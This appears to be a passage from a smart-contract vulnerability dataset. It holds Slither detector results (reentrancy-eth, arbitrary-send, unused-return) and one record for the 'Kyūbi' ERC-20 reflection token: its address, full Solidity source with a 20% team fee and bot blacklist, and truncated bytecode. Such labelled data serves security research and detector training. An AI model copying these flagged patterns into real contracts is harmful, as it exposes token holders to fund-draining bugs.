e4a565b9050919050565b6000602082019050818103600083015261315e81612e6d565b9050919050565b6000602082019050818103600083015261317e81612e90565b9050919050565b6000602082019050818103600083015261319e81612eb3565b9050919050565b600060208201905081810360008301526131be81612ed6565b9050919050565b600060208201905081810360008301526131de81612ef9565b9050919050565b60006020820190506131fa6000830184612f1c565b92915050565b600060a0820190506132156000830188612f1c565b6132226020830187612d0d565b81810360408301526132348186612ca0565b90506132436060830185612c91565b6132506080830184612f1c565b9695505050505050565b600060208201905061326f6000830184612f2b565b92915050565b600061327f613290565b905061328b82826134ca565b919050565b6000604051905090565b600067ffffffffffffffff8211156132b5576132b46135a2565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133268261346e565b91506133318361346e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561336657613365613544565b5b828201905092915050565b600061337c8261346e565b91506133878361346e565b92508261339757613396613573565b5b828204905092915050565b60006133ad8261346e565b91506133b88361346e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133f1576133f0613544565b5b828202905092915050565b60006134078261346e565b91506134128361346e565b92508282101561342557613424613544565b5b828203905092915050565b600061343b8261344e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006134908261346e565b9050919050565b60005b838110156134b557808201518184015260208101905061349a565b838111156134c4576000848401525b50505050565b6134d3826135d1565b810181811067ffffffffffffffff821117156134f2576134f16135a2565b5b80604052505050565b60006135068261346e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561353957613538613544565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f53656373206d7573742062652067726561746572207468616e20300000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61390a81613430565b811461391557600080fd5b50565b61392181613442565b811461392c57600080fd5b50565b6139388161346e565b811461394357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fe65abf4a3d8c3fe9a030af881bf40988f72eb832f3b4e47ab6d69912fd630f864736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,485
0xa393386664e5547eddc8e7e8bceada957b4b7af1
/* SPDX-License-Identifier: Mines™®© */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract Kyubi is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"Kyūbi"; string private constant _symbol = "9TAILS"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 1; uint256 private _teamFee = 20; mapping(address => bool) private bots; mapping(address => uint256) private buycooldown; mapping(address => uint256) private sellcooldown; mapping(address => uint256) private firstsell; mapping(address => uint256) private sellnumber; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private liquidityAdded = false; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 1; _teamFee = 20; } function setFee(uint256 multiplier) private { _taxFee =1; if (multiplier > 1) { _teamFee = 20; } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (30 seconds); _teamFee = 1; _taxFee = 20; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount); require(sellcooldown[from] < block.timestamp); if(firstsell[from] + (2.5 hours) < block.timestamp){ sellnumber[from] = 0; } if (sellnumber[from] == 0) { sellnumber[from]++; firstsell[from] = block.timestamp; sellcooldown[from] = block.timestamp + (15 minutes); } else if (sellnumber[from] == 1) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (30 minutes); } else if (sellnumber[from] == 2) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (45 minutes); } else if (sellnumber[from] == 3) { sellnumber[from]++; sellcooldown[from] = firstsell[from] + (2.5 hours); } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } setFee(sellnumber[from]); } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() public onlyOwner { require(liquidityAdded); tradingOpen = true; } function addLiquidity() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; liquidityAdded = true; _maxTxAmount = 3000000000 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190613205565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d8c565b610418565b60405161016d91906131ea565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613387565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d3d565b610447565b6040516101d591906131ea565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b60405161020091906133fc565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dc8565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612caf565b61064d565b60405161027d9190613387565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf919061311c565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190613205565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d8c565b610857565b60405161032791906131ea565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e1a565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d01565b610b03565b6040516103bb9190613387565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600681526020017f4b79c5ab62690000000000000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016139e660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120379092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132e7565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209b565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612196565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f395441494c530000000000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612204565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132e7565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132e7565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906132a7565b60405180910390fd5b610ac16064610ab383683635c9adc5dea000006124fe90919063ffffffff16565b61257990919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613387565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132e7565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612cd8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612cd8565b6040518363ffffffff1660e01b8152600401610de4929190613137565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612cd8565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613189565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612e43565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611040929190613160565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612df1565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613347565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613267565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613387565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613327565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090613227565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390613307565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7457601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613367565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e42611880919061346c565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160098190555060146008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f72576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b6124fe90919063ffffffff16565b61257990919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b42612328600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6d919061346c565b1015611ab9576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf057600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b519061361b565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061038442611ba8919061346c565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce357600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c889061361b565b919050555061070842611c9b919061346c565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f06565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd657600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7b9061361b565b9190505550610a8c42611d8e919061346c565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f05565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6e9061361b565b9190505550612328600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec0919061346c565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1081612204565b60004790506000811115611f2857611f274761209b565b5b611f70600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c3565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201b5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612025576